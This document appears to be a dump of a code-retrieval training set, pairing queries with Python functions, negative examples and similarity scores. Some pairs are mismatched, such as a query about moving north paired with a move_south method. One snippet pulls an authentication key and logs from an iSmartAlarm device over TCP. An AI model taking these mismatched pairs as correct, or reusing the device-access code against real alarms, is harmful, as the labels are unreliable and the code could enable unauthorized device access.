ue_distribution="gaussian", ue_sigma=0,
if_fix_bs=True,
bs_radius_1=50,
grid_l_1=10,
grid_l_2=10):... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __init__(self, min_value=0.0, max_value=1.0, input_name=\"image\", output_name=\"image\"):\n super().__init__(input_name=input_name, output_names=[output_name])\n self.min_value = min_value\n self.max_value = max_value",
"def __init__(self, color=1, minsize=24, maxsize=160):\n\tself.colo... | [
"0.5757932",
"0.56693465",
"0.56529826",
"0.55947787",
"0.55721635",
"0.55641013",
"0.5559697",
"0.55596286",
"0.55449086",
"0.5539916",
"0.55334955",
"0.5533059",
"0.5527372",
"0.55137396",
"0.5499857",
"0.5478546",
"0.5448861",
"0.543818",
"0.5419141",
"0.5394803",
"0.53944... | 0.56655514 | 2 |
move this dice towered north | def move_south(self):
self.vertical = (self.vertical * 2)[3:7]
self.horizontal[1] = self.vertical[0]
self.horizontal[3] = self.vertical[2] | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def move(self):\n \n self.position = self.wander()",
"def turn(self):\r\n # 1 throw the dice\r\n if (\r\n not self.player_list[self.current_player].is_in_jail()\r\n or self.try_leave_jail()\r\n ):\r\n thr = Throw()\r\n while thr is not No... | [
"0.6586231",
"0.65356094",
"0.6503337",
"0.6497301",
"0.63757825",
"0.6351679",
"0.63349146",
"0.622529",
"0.62203085",
"0.6209833",
"0.6152489",
"0.6142059",
"0.6119466",
"0.61022717",
"0.6097013",
"0.6093029",
"0.60713977",
"0.60547554",
"0.60496265",
"0.60490745",
"0.60181... | 0.0 | -1 |
move this dice towered south | def move_north(self):
self.vertical = (self.vertical * 2)[1:5]
self.horizontal[1] = self.vertical[0]
self.horizontal[3] = self.vertical[2] | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def shift_board(self, dx, dy):\n super().shift_board(dx, dy)\n self.goals = np.roll(self.goals, dy, axis=0)\n self.goals = np.roll(self.goals, dx, axis=1)",
"def moveSouth(self):\n self._move('s', Tile.VerticalDifference)",
"def move(self):\n \n self.position = self.wander... | [
"0.6450135",
"0.6440476",
"0.6399554",
"0.6394947",
"0.63425684",
"0.6298838",
"0.6269156",
"0.620099",
"0.61914253",
"0.618724",
"0.61674786",
"0.61603296",
"0.6153434",
"0.61458814",
"0.6130453",
"0.61232764",
"0.61162215",
"0.6090203",
"0.60896474",
"0.6066804",
"0.5977515... | 0.0 | -1 |
move this dice towered east | def move_east(self):
self.horizontal = (self.horizontal * 2)[3:7]
self.vertical[0] = self.horizontal[1]
self.vertical[2] = self.horizontal[3] | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def move_east(self):\r\n self.move(dx=1, dy=0)",
"def move(self):\n \n self.position = self.wander()",
"def move(self):\r\n if self.d == 'NORTH' and (self.y + 1) <= table_max_y:\r\n self.y += 1\r\n elif self.d == 'EAST' and (self.x + 1) <= table_max_x:\r\n s... | [
"0.66633594",
"0.64686203",
"0.63465816",
"0.62308586",
"0.62223876",
"0.6176462",
"0.6172353",
"0.6140096",
"0.6131063",
"0.61120415",
"0.60808563",
"0.6079689",
"0.6059594",
"0.6036895",
"0.6030891",
"0.60288024",
"0.5989185",
"0.5989185",
"0.5975611",
"0.59711283",
"0.5944... | 0.63600254 | 2 |
move this dice towered west | def move_west(self):
self.horizontal = (self.horizontal * 2)[1:5]
self.vertical[0] = self.horizontal[1]
self.vertical[2] = self.horizontal[3] | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def throw(self, move):\n for dice_index in move:\n self.dice[dice_index - 1] = random.randint(1,6)",
"def shift_board(self, dx, dy):\n super().shift_board(dx, dy)\n self.goals = np.roll(self.goals, dy, axis=0)\n self.goals = np.roll(self.goals, dx, axis=1)",
"def do_west(... | [
"0.6295337",
"0.6271478",
"0.624435",
"0.6226867",
"0.6214748",
"0.61201197",
"0.609256",
"0.6080956",
"0.60585946",
"0.5984114",
"0.5926466",
"0.59259015",
"0.59212625",
"0.59097594",
"0.5907559",
"0.5906178",
"0.5894441",
"0.58633",
"0.58610564",
"0.58604693",
"0.5820033",
... | 0.61474174 | 5 |
Takes in a dataframe and generates an interactive figure in plotly and exports it as an SVG file in the figures folder. | def visualize_count(df: pd.DataFrame = None, small_data: bool = False):
if df is None:
df = data_cleaning.pd_load_data(small_data)
df = df.reset_index()
df = df[['STATE', 'FPA_ID']]
count_df = df.groupby('STATE').count()
count_df = count_df.rename(columns={'FPA_ID': 'Count'})
fig = go.Fi... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def showPlotlyScatter(self, DataFrame, x_axis, y_axis, saving_directory):\r\n fig = px.scatter(DataFrame, x = x_axis, y=y_axis, hover_name= DataFrame.index, color= 'Lib_Tag_contour_ratio',\r\n hover_data= ['Contour_soma_ratio_Lib', 'Lib_Tag_contour_ratio', 'ImgNameInfor_Lib'], width=... | [
"0.6491675",
"0.6076382",
"0.59671855",
"0.59521836",
"0.592906",
"0.5924873",
"0.588453",
"0.5880291",
"0.5853218",
"0.5849005",
"0.5834654",
"0.5828318",
"0.5821972",
"0.5789379",
"0.57887715",
"0.5768348",
"0.5747316",
"0.57470936",
"0.5695773",
"0.56733716",
"0.5663988",
... | 0.0 | -1 |
nice_name tag returns the username when the full name is not available | def test_nice_name_returns_username(self):
class UserNoName():
username = 'my_username'
def get_full_name(self):
return None
rendered = self.render_nice_name(UserNoName())
self.assertEquals(rendered, 'my_username') | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def nice_name(self):\n if self.first_name or self.last_name:\n return \"%s %s\" % (self.first_name, self.last_name)\n else:\n key = \"profile.nice_name\"\n cache_key = \"%s.%s.%s\" % (settings.SITE_CACHE_KEY, key, self.pk) \n cached = cache.get(cache_key)\n... | [
"0.75342166",
"0.73341274",
"0.7307055",
"0.7307055",
"0.7300437",
"0.7300437",
"0.72588587",
"0.7255315",
"0.7189447",
"0.7167019",
"0.71295244",
"0.71295244",
"0.71295244",
"0.7097332",
"0.70863456",
"0.70732045",
"0.7000764",
"0.69829106",
"0.69238865",
"0.6918486",
"0.690... | 0.7638717 | 0 |
nice_name tag returns the full name when is available | def test_nice_name_returns_full_namename(self):
class User():
username = 'my_username'
def get_full_name(self):
return 'my_full_name'
rendered = self.render_nice_name(User())
self.assertEquals(rendered, 'my_full_name') | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def nice_name():\n\n pass",
"def test_nice_name_returns_username(self):\n\n class UserNoName():\n username = 'my_username'\n\n def get_full_name(self):\n return None\n\n rendered = self.render_nice_name(UserNoName())\n\n self.assertEquals(rendered, 'my... | [
"0.7759537",
"0.7210823",
"0.71292967",
"0.7072953",
"0.70387155",
"0.69336873",
"0.688742",
"0.67883503",
"0.6753615",
"0.67322063",
"0.6729379",
"0.67096",
"0.67054737",
"0.6651297",
"0.66264844",
"0.6609411",
"0.6609411",
"0.6609411",
"0.6609411",
"0.6609411",
"0.6609411",... | 0.73069805 | 1 |
Download the system log of the type specified in log_type POST param This calls the /sys_log via an http request on that node to get the info | def download_log(request):
return_dict = {}
try:
form = log_management_forms.DownloadLogsForm(request.POST or None)
if request.method == 'POST':
if form.is_valid():
cd = form.cleaned_data
log_type = cd['log_type']
response = django.h... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def logType(log):\n filename = log_dir\n if log == \"general\":\n filename += \"openvpn.log\"\n elif log == \"status\":\n filename += \"openvpn-status.log\"\n else:\n abort(404)\n \n return jsonify({\"logData\" : hl.getLog(filename)})",
"def download_log(request):\n\n re... | [
"0.67096645",
"0.65055877",
"0.6106368",
"0.58931",
"0.58395517",
"0.5779254",
"0.56427187",
"0.5483352",
"0.544234",
"0.5432902",
"0.5360811",
"0.53573716",
"0.534782",
"0.5324201",
"0.5309597",
"0.5293043",
"0.5293043",
"0.5286416",
"0.5264758",
"0.5244137",
"0.5232413",
... | 0.635149 | 2 |
Dumps the log from the ismartalarm | def dump_log(ip, verbose=False):
# Force ip to str (if eg. ip == ipaddress class)
ip = str(ip)
# Getting Auth Key
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, TCP_PORT_AUTH))
s.send(GET_AUTH_KEY)
data = s.recv(BUFFER_SIZE)
s.close()
auth_key = data[16:32]
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def dump_to_log(self):\n # self._send_request(\"/dumpToLog\")\n pass",
"def dump(self):\n self.logger.debug(self)",
"def getLogs():",
"def getLogs():",
"def _dump_test_parser_log(self):\n\t\tFileSystem.dump_to(self._result_directory_name + \"/\" + \"Test_Parser.log\", self._form_test_p... | [
"0.80328393",
"0.67299455",
"0.66159296",
"0.66159296",
"0.64298815",
"0.6289178",
"0.6266176",
"0.61912405",
"0.61626637",
"0.6018673",
"0.59994423",
"0.5962766",
"0.5931081",
"0.5912171",
"0.59048337",
"0.58585835",
"0.5848837",
"0.58444375",
"0.5830088",
"0.58018595",
"0.5... | 0.624021 | 7 |
Cosine similarity and then binary cross entropy. | def _cosine_and_bce(preds: Tensor, pseudo_label: Tensor, mask: Tensor) -> Tensor:
# cosine similarity
cosine_sim = dot_product(preds[:, None, :], preds).clamp(min=0, max=1)
# binary cross entropy
unreduced_loss = F.binary_cross_entropy(cosine_sim, pseudo_label, reduction="none")
return torch.mean(un... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def compute_cosine_similarity(self):\n cos_matrix = []\n for i in range(len(self.train_vec)):\n val = self.vec1 * self.train_vec[i]\n cos_matrix.append(val[0])\n out = np.argmax(cos_matrix)\n print(self.train_output[out])",
"def calculate_cosine_similarity(self):... | [
"0.72706926",
"0.68317753",
"0.66812646",
"0.66766757",
"0.66006863",
"0.65620357",
"0.65540147",
"0.6513036",
"0.64433026",
"0.64406836",
"0.64259344",
"0.641402",
"0.6411648",
"0.6321563",
"0.63186157",
"0.6316714",
"0.63073885",
"0.63004255",
"0.6289717",
"0.628617",
"0.62... | 0.64782894 | 8 |
Forwards output, extracts Thonny message, replaces normal prompts with raw prompts. This is executed when some code is running or just after requesting raw prompt. After submitting commands to the raw REPL, the output should be like {stdout}\x04\{stderr}\x04\n\> In the end of {stdout} there may be \x02{valueforthonny} ... | def _process_until_raw_prompt(self, capture_output=False):
# TODO: experiment with Ctrl+C, Ctrl+D, reset
eot_count = 0
value = None
done = False
out = b""
err = b""
while not done:
if (self._connection.num_bytes_received == 0
and time.... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_prompt(self, timeout=30):\n #self.tc.expect(self.tool_prompt, timeout=timeout)\n #self.tf = self.tc.after.split()\n #return {'status': int(self.tf[self.tool_status_index]), 'output': self.tc.before}\n output = \"\"\n # Loop until we receive the special spt prompt while in... | [
"0.59774065",
"0.59364516",
"0.5923323",
"0.5923323",
"0.5696055",
"0.56759435",
"0.56740737",
"0.562927",
"0.55930865",
"0.5571562",
"0.5549954",
"0.55442077",
"0.55442077",
"0.5541861",
"0.5516136",
"0.55004907",
"0.54771006",
"0.5472862",
"0.54632956",
"0.5442928",
"0.5430... | 0.6925466 | 0 |
parse the config file to produce a dict of absorbers, parameters and allowed ranges | def configure(config_file):
Config.config_file = config_file
config = ConfigParser()
config.optionxform = str
config.read(config_file)
dct = {}
for item in list(config.sections()):
dct[item] = dict(config.items(item))
for item in dct.keys():
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def parseConfig(self, filename):\n parameters = {}\n try:\n f = open(filename)\n except Exception as inst:\n print(type(inst))\n print(inst.args)\n print(inst)\n print('cannot open', filename)\n raise\n else:\n ... | [
"0.68742883",
"0.64713717",
"0.6406853",
"0.62929416",
"0.6131319",
"0.6128549",
"0.6108708",
"0.60788536",
"0.60567814",
"0.6043409",
"0.6009234",
"0.5997987",
"0.5957832",
"0.5894876",
"0.58923626",
"0.5883574",
"0.5866653",
"0.5864182",
"0.58620304",
"0.58604765",
"0.58544... | 0.5695767 | 35 |
given a file of predictions and a file of targets compute evaluation metrics and return dict containing results (including a sum of squared errors so that errors can be added across multiple chromosomes) metrics can be computed on gene/enhancer/promoter subsets by passing lists of bin ids matching these subsets (option... | def evaluate_predictions(unfiltered_preds, unfiltered_targets, gene_bins=None,
enhancer_bins=None, promoter_bins=None, retain_bins=None):
unfiltered_errors = np.square(unfiltered_preds-unfiltered_targets)
if retain_bins is None:
retain_bins = np.arange(unfiltered_errors.shape[0]... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def eval(\n task1_prediction_filename: str,\n task2_prediction_filename: str,\n target_filename: str,\n output_dir: str,\n case_ids_source: Optional[Union[str, List[str]]] = \"target\",\n) -> Tuple[OrderedDict, str]:\n create_dir(output_dir)\n\n # eval task1, task2 or both\n task1 = task1_p... | [
"0.622663",
"0.6073436",
"0.58134985",
"0.5804928",
"0.5719069",
"0.5711731",
"0.5710975",
"0.568237",
"0.5680572",
"0.5669467",
"0.5663991",
"0.5612322",
"0.5609203",
"0.5606721",
"0.55780536",
"0.5572466",
"0.55717826",
"0.55348396",
"0.54948217",
"0.548214",
"0.5472467",
... | 0.62762123 | 0 |
N.B. be very careful with this...it simply can't work for batched evaluation can it? | def correlation_coefficient_loss_rowwise(y_true, y_pred):
x = y_true
y = y_pred
mx = K.mean(x, axis=0)
my = K.mean(y, axis=0)
xm, ym = x-mx, y-my
r_num = K.sum(tf.multiply(xm,ym), axis=0)
r_den = K.sqrt(tf.multiply(K.sum(K.square(xm), axis=0), K.sum(K.square(ym), axis=0)))
r = r_num / r_... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def multiple_eval_for_loops_v2():",
"def multiple_eval_for_loops_v1():",
"def evaluate_batch(self, pipelines):",
"def reduce_run():",
"def _batching_call(self, *args, **kw):\n b_start = kw.pop('b_start', None)\n b_size = kw.pop('b_size', None)\n results = list(self._original_call(*args, **kw))\n\n... | [
"0.6869179",
"0.67925566",
"0.6759077",
"0.67315304",
"0.5874977",
"0.57868266",
"0.56216645",
"0.54925203",
"0.547827",
"0.54709744",
"0.54341394",
"0.54341394",
"0.54228586",
"0.54214734",
"0.5414435",
"0.54052544",
"0.5348475",
"0.5341137",
"0.53396255",
"0.53319865",
"0.5... | 0.0 | -1 |
Calculates the MSE weighted by the crosscelltype variance. | def msevar(y_true, y_pred, y_all=None, var=None):
if var is None and y_all is None:
return 0.0
if var is None:
var = np.std(y_all, axis=0) ** 2
return ((y_true - y_pred) ** 2).dot(var)/var.sum() | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def rmse(self):\n lam = self.lam()\n weights = lam / lam.sum()\n weighted_var = self.var() * weights\n rmse = np.sqrt(weighted_var.sum())\n return rmse",
"def _mse(self):\n error = self._input * self._weights - self._label\n sum_ = 0.0\n for i in range(self... | [
"0.68916774",
"0.68723106",
"0.6812043",
"0.6696123",
"0.6679333",
"0.66682017",
"0.6649163",
"0.6577138",
"0.6400805",
"0.63694525",
"0.63601",
"0.63601",
"0.6322204",
"0.6321516",
"0.6321516",
"0.6274082",
"0.6248884",
"0.6246755",
"0.62400144",
"0.6237504",
"0.6237504",
... | 0.6078163 | 33 |
Assumption is that bins which when sorted lie outside top_bottom_bin_range are outliers and the relevant 'robust' minimum and maximum are percentiles within the top_bottom_bin_range This is a bit lie the scikitlearn robust scaler idea; though not exactly | def find_robust_min_max(x, pct_thresh=0.05, top_bottom_bin_range=2000000):
y = x[x > 0]
idxs = np.argsort(y)
abs_max = y[idxs[-1]]
abs_min = y[idxs[0]]
robust_max = y[idxs[-int(pct_thresh * top_bottom_bin_range)]]
robust_min = y[idxs[int(pct_thresh * top_bottom_bin_range)]]
log.info('Array l... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def binning(data, low, high):\n if len(data) == 0: return 1\n\n mask1 = (data >= low)\n mask2 = (data < high)\n mask3 = numpy.logical_and(mask1, mask2)\n data = data[mask3]\n\n if len(data) == 0: return 10\n\n data.sort()\n q1 = data[int(math.floor(0.25*len(data)))]\n q3 = data[int(math.... | [
"0.6620887",
"0.6594978",
"0.62357104",
"0.6183821",
"0.61543703",
"0.61226857",
"0.61187845",
"0.6117019",
"0.61008453",
"0.6096406",
"0.6086877",
"0.6066685",
"0.60292286",
"0.6000606",
"0.5948171",
"0.5942545",
"0.59317714",
"0.5907111",
"0.59046483",
"0.58851564",
"0.5880... | 0.7037333 | 0 |
Convert all characters to lowercase from list of tokenized words | def to_lowercase(words):
new_words = []
for word in words:
new_word = word.lower()
new_words.append(new_word)
return(new_words) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def lowercase(tokens):\n if not lowercase_activated:\n return tokens\n output = [token.lower() for token in tokens]\n return output",
"def preprocess(tokens):\n result = []\n for token in tokens:\n result.append(token.lower())\n return result",
"def lowercase(tokens):\n return [token.lower(... | [
"0.825361",
"0.81953853",
"0.79781765",
"0.781734",
"0.7800716",
"0.7751302",
"0.7673937",
"0.76445544",
"0.76206166",
"0.76206166",
"0.76206166",
"0.76206166",
"0.76206166",
"0.76206166",
"0.76206166",
"0.7522023",
"0.74568486",
"0.7307557",
"0.71714586",
"0.7123188",
"0.698... | 0.75346315 | 15 |
Remove punctuation from list of tokenized words | def remove_punctuation(words):
new_words = []
for word in words:
new_word = re.sub(r'[^\w\s]', '', word)
if new_word != '':
new_words.append(new_word)
return(new_words) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def remove_punctuations(tokenized_word_list):\n puncuations = set(string.punctuation)\n\n double_quote = '\\'\\''\n double_sign = '``'\n\n puncuations.add(double_quote)\n puncuations.add(double_sign)\n\n filtered_tokens = [word for word in tokenized_word_list if word not in puncuations]\n retu... | [
"0.8443081",
"0.8359836",
"0.83513975",
"0.83284754",
"0.82877874",
"0.82877874",
"0.82877874",
"0.82877874",
"0.82877874",
"0.82877874",
"0.82532126",
"0.8141095",
"0.8114269",
"0.8062185",
"0.79808336",
"0.7978225",
"0.79177517",
"0.7864343",
"0.7798762",
"0.77926224",
"0.7... | 0.8250404 | 11 |
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